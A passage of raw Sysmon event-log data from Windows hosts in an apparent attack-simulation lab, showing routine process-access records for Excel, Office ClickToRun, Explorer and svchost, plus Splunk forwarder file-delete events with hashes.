Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014379Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.227{625C326B-7004-613B-AA04-00000000F101}3936C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.791{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1C573187AF95CEB768A5A5AC94594D69,SHA256=D0D17576A342BEE8E1EA2249E6AA56CF887A0F9141D4A3EAAA96DB852E30CFAF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.650{7BD73061-6E00-613B-E006-00000000F001}59926676C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+498a3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5206d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5132f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.650{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+498a3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5206d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5132f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.619{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1438C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5eac4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5fb06|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+178f5|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0e4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000046406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.619{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+4177c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18b13|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18013|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+19af2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac 10341000x800000000000000046405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.619{7BD73061-6E00-613B-E006-00000000F001}59926676C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1438C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5eac4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5fb06|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+178f5|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0e4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000046404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.619{7BD73061-6E00-613B-E006-00000000F001}59926676C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+4177c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18b13|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18013|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+19af2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac 10341000x800000000000000046403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.619{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8f4a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+822c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.619{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+7ae3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.604{7BD73061-6E00-613B-E006-00000000F001}59926676C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8f4a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+822c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.604{7BD73061-6E00-613B-E006-00000000F001}59926676C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+7ae3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.572{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000046398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.572{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000046397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-6D0F-613B-9406-00000000F001}44806424C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-6D0F-613B-9406-00000000F001}44806424C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=95CF2F960EFB42E06AE8F44247ABB447,SHA256=F0A3B781239F0DEF1D8D09C49D213FAC1091FE61B7EDEBA3DB34AB13D3F811FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CEC06DBEC293787F6BD9F837DFFFF058,SHA256=CEA75F7D9E43BFD6D29D1FAEB1E204D4426ADDBA67CB93B3A2195831AC779AC3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft 